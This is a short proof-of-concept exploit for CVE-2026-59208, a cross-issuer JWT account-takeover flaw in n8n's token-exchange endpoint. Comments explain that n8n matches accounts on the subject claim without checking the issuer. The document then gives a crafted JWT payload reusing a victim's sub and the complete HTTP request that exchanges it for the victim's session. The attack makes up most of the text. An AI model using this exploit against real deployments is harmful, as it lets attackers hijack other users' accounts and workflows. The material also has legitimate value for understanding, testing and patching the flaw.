CVE-2026-59208: n8n Cross-Issuer JWT Token Exchange Account Takeover

# Attacker controls Issuer A (a legitimately trusted issuer).
# Victim is registered under Issuer B (also trusted) with sub = "user-42".
# Attacker mints a JWT from Issuer A with sub = "user-42" and sends it
# to the token-exchange endpoint. n8n resolves the sub alone,
# finds the victim's account, and hands the attacker a session.

# Step 1: craft attacker JWT payload (signed with Issuer A's private key)
{
  "iss": "https://issuer-a.example.com",
  "sub": "user-42",
  "aud": "n8n",
  "exp": 9999999999,
  "iat": 1700000000
}

# Step 2: send to the token-exchange endpoint
POST /api/v1/token-exchange HTTP/1.1
Host: n8n.target.example.com
Content-Type: application/x-www-form-urlencoded

grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Atoken-exchange
&subject_token=<ATTACKER_JWT_FROM_ISSUER_A>
&subject_token_type=urn%3Aietf%3Aparams%3Aoauth%3Atoken-type%3Ajwt

# n8n validates signature against the Issuer A key (passes),
# then looks up the account WHERE externalId = 'user-42'  -- no issuer filter.
# It returns a session belonging to the victim under Issuer B.